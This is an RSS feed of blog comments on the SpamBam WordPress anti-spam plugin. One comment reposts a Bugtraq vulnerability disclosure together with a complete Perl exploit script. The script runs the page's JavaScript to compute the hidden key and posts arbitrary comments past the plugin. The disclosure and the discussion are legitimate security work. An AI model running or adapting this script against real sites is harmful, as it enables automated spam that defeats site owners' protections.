<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Spambam hits 1000 downloads</title>
	<atom:link href="http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/</link>
	<description>A tool for designers dealing with programmers dealing with designers...</description>
	<pubDate>Sun, 14 Mar 2010 12:44:11 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
		<item>
		<title>By: martijn</title>
		<link>http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1551</link>
		<dc:creator>martijn</dc:creator>
		<pubDate>Sun, 10 May 2009 08:57:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1551</guid>
		<description>ok nice, despite the exploit it still adds effective protection.</description>
		<content:encoded><![CDATA[<p>ok nice, despite the exploit it still adds effective protection.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Gareth Heyes</title>
		<link>http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1550</link>
		<dc:creator>Gareth Heyes</dc:creator>
		<pubDate>Sun, 10 May 2009 08:08:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1550</guid>
		<description>@martijn

Yep it's true the exploit works using javascript server side, so spambam isn't perfect but I've haven't noticed a increase in spam since the exploit was released. So I'll continue to use it while my blog stays spam free</description>
		<content:encoded><![CDATA[<p>@martijn</p>
<p>Yep it&#8217;s true the exploit works using javascript server side, so spambam isn&#8217;t perfect but I&#8217;ve haven&#8217;t noticed a increase in spam since the exploit was released. So I&#8217;ll continue to use it while my blog stays spam free</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: martijn</title>
		<link>http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1549</link>
		<dc:creator>martijn</dc:creator>
		<pubDate>Sat, 09 May 2009 18:14:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1549</guid>
		<description>when i saw this, i hoped i stumbled upon a nice form protection solution, though after some googling i did found it has a by design build serious flaw that does makes it bypassed easely.

see:

http://archive.cert.uni-stuttgart.de/bugtraq/2008/01/msg00197.html

The attached exploit demonstrates that the WordPress SpamBam plugin can
be bypassed due to relying on the client for security.

Vulnerable software:
SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes

Vulnerability:
No matter how hard you ofuscate or encrypt your code, never, under no
circunstances, rely any security aspect on the client. Never!

How the plugin works:
It generates a pseudo-random code both on the client and the server to
generate a key.
On form submit, both key values are checked and they should match to
allow comment insertion.

How the exploit works:
It does nothing but acting as a client. It parses the html, extracts
the javascript, process it to calculate the key and fills the hidden
field with it.

Solution:
There's no fix for this. It's a design flaw.

#!/usr/bin/perl -w

# Defeating SpamBam exploit
# by Jose Palazon (josem.palazon@xxxxxxxxx) (a.k.a. palako)

# Vulnerable software:
# SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes

# Vulnerability:
# No matter how hard you ofuscate or encrypt your code, never, under no circunstances, rely
# any security aspect on the client. Never!

# How the plugin works:
# It generates a pseudo-random code both on the client and the server to generate a key.
# On form submit, both key values are checked and they should match to allow comment insertion.

#How the exploit works:
# It does nothing but acting as a client. It parses the html, extracts the javascript, process it
# to calculate the key and fills the hidden field with it.

# Solution:
# Sorry guys but there's no fix for this. It'ss just a design flaw.

use WWW::Mechanize;
use JavaScript::SpiderMonkey;

my $tmpContent;
my $javascriptCode;
my $spamBamKey;

die ("Usage: spambam.pl &#60;post url&#62; &#60;author&#62; &#60;email&#62; &#60;comment&#62;\n") unless $ARGV[3];

my $url = $ARGV[0];
my $author = $ARGV[1];
my $email = $ARGV[2];
my $comment = $ARGV[3];

my $mech = WWW::Mechanize-&#62;new( autocheck =&#62; 1 );

$mech-&#62;get($url);

# WWW::Mechanize doesn't support javascript, so the field comment_spambamKey won't be
# recognized by $mech-&#62;field. Thus, I'll make an update_html adding the field, and for
# this purpose I save first the original contents. Indeed, substitition occurs via the
# javascript callback function "extractKey"
$tmpContent = $mech-&#62;content;


# Eliminate carriage returns to apply sed. Later I'll have to restore them
# to execute the javascript code, as not every line is semicolon terminated.
# That's the reason of the __WHO_BAMS_WHO__ string.
$_ = $mech-&#62;content;
s/\n/__WHO_BAMS_WHO__/g; 

# Extract the javascript code and the name of the variable where the key is going to be calculated
/&#60;script type="text\/javascript"&#62;(.*)document\.write\('&#60;input type="hidden" name="comment_spambamKey" value="'\+(.*)\+'"&#62;'\);/g; 
$javascriptCode = $1;
$spamBamKey = $2;

# Add the javascript instruction  which will comunicate the key to the perl code.
$javascriptCode .= "\nextractKey($spamBamKey);";

my $js = JavaScript::SpiderMonkey-&#62;new();
$js-&#62;init();  # Initialize Runtime/Context

# Define perl callback for extracting the key from the javascript code
$js-&#62;function_set("extractKey", sub { $tmpContent =~ s/&#60;\/form&#62;/&#60;input type=\"hidden\" name=\"comment_spambamKey\" value=\"@_\"&#62;&#60;\/form&#62;/; });

# Restore Carriage returns and execute javascript code
$javascriptCode =~ s/__WHO_BAMS_WHO__/\n/g;
my $rc = $js-&#62;eval($javascriptCode); 
$js-&#62;destroy();

# Process form
$mech-&#62;update_html( $tmpContent );
$mech-&#62;form_number(1);
$mech-&#62;field("author", $author);
$mech-&#62;field("email", $email);
$mech-&#62;field("comment", $comment);
$mech-&#62;submit();

printf("Check it. Comment should have been added\n");</description>
		<content:encoded><![CDATA[<p>when i saw this, i hoped i stumbled upon a nice form protection solution, though after some googling i did found it has a by design build serious flaw that does makes it bypassed easely.</p>
<p>see:</p>
<p><a href="http://archive.cert.uni-stuttgart.de/bugtraq/2008/01/msg00197.html" rel="nofollow">http://archive.cert.uni-stuttgart.de/bugtraq/2008/01/msg00197.html</a></p>
<p>The attached exploit demonstrates that the WordPress SpamBam plugin can<br />
be bypassed due to relying on the client for security.</p>
<p>Vulnerable software:<br />
SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes</p>
<p>Vulnerability:<br />
No matter how hard you ofuscate or encrypt your code, never, under no<br />
circunstances, rely any security aspect on the client. Never!</p>
<p>How the plugin works:<br />
It generates a pseudo-random code both on the client and the server to<br />
generate a key.<br />
On form submit, both key values are checked and they should match to<br />
allow comment insertion.</p>
<p>How the exploit works:<br />
It does nothing but acting as a client. It parses the html, extracts<br />
the javascript, process it to calculate the key and fills the hidden<br />
field with it.</p>
<p>Solution:<br />
There&#8217;s no fix for this. It&#8217;s a design flaw.</p>
<p>#!/usr/bin/perl -w</p>
<p># Defeating SpamBam exploit<br />
# by Jose Palazon (josem.palazon@xxxxxxxxx) (a.k.a. palako)</p>
<p># Vulnerable software:<br />
# SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes</p>
<p># Vulnerability:<br />
# No matter how hard you ofuscate or encrypt your code, never, under no circunstances, rely<br />
# any security aspect on the client. Never!</p>
<p># How the plugin works:<br />
# It generates a pseudo-random code both on the client and the server to generate a key.<br />
# On form submit, both key values are checked and they should match to allow comment insertion.</p>
<p>#How the exploit works:<br />
# It does nothing but acting as a client. It parses the html, extracts the javascript, process it<br />
# to calculate the key and fills the hidden field with it.</p>
<p># Solution:<br />
# Sorry guys but there&#8217;s no fix for this. It&#8217;ss just a design flaw.</p>
<p>use WWW::Mechanize;<br />
use JavaScript::SpiderMonkey;</p>
<p>my $tmpContent;<br />
my $javascriptCode;<br />
my $spamBamKey;</p>
<p>die (&#8221;Usage: spambam.pl &lt;post url&gt; &lt;author&gt; &lt;email&gt; &lt;comment&gt;\n&#8221;) unless $ARGV[3];</p>
<p>my $url = $ARGV[0];<br />
my $author = $ARGV[1];<br />
my $email = $ARGV[2];<br />
my $comment = $ARGV[3];</p>
<p>my $mech = WWW::Mechanize-&gt;new( autocheck =&gt; 1 );</p>
<p>$mech-&gt;get($url);</p>
<p># WWW::Mechanize doesn&#8217;t support javascript, so the field comment_spambamKey won&#8217;t be<br />
# recognized by $mech-&gt;field. Thus, I&#8217;ll make an update_html adding the field, and for<br />
# this purpose I save first the original contents. Indeed, substitition occurs via the<br />
# javascript callback function &#8220;extractKey&#8221;<br />
$tmpContent = $mech-&gt;content;</p>
<p># Eliminate carriage returns to apply sed. Later I&#8217;ll have to restore them<br />
# to execute the javascript code, as not every line is semicolon terminated.<br />
# That&#8217;s the reason of the __WHO_BAMS_WHO__ string.<br />
$_ = $mech-&gt;content;<br />
s/\n/__WHO_BAMS_WHO__/g; </p>
<p># Extract the javascript code and the name of the variable where the key is going to be calculated<br />
/&lt;script type=&#8221;text\/javascript&#8221;&gt;(.*)document\.write\(&#8217;&lt;input type=&#8221;hidden&#8221; name=&#8221;comment_spambamKey&#8221; value=&#8221;&#8216;\+(.*)\+&#8217;&#8221;&gt;&#8217;\);/g;<br />
$javascriptCode = $1;<br />
$spamBamKey = $2;</p>
<p># Add the javascript instruction  which will comunicate the key to the perl code.<br />
$javascriptCode .= &#8220;\nextractKey($spamBamKey);&#8221;;</p>
<p>my $js = JavaScript::SpiderMonkey-&gt;new();<br />
$js-&gt;init();  # Initialize Runtime/Context</p>
<p># Define perl callback for extracting the key from the javascript code<br />
$js-&gt;function_set(&#8221;extractKey&#8221;, sub { $tmpContent =~ s/&lt;\/form&gt;/&lt;input type=\&#8221;hidden\&#8221; name=\&#8221;comment_spambamKey\&#8221; value=\&#8221;@_\&#8221;&gt;&lt;\/form&gt;/; });</p>
<p># Restore Carriage returns and execute javascript code<br />
$javascriptCode =~ s/__WHO_BAMS_WHO__/\n/g;<br />
my $rc = $js-&gt;eval($javascriptCode);<br />
$js-&gt;destroy();</p>
<p># Process form<br />
$mech-&gt;update_html( $tmpContent );<br />
$mech-&gt;form_number(1);<br />
$mech-&gt;field(&#8221;author&#8221;, $author);<br />
$mech-&gt;field(&#8221;email&#8221;, $email);<br />
$mech-&gt;field(&#8221;comment&#8221;, $comment);<br />
$mech-&gt;submit();</p>
<p>printf(&#8221;Check it. Comment should have been added\n&#8221;);</p>
]]></content:encoded>
	</item>
</channel>
</rss>
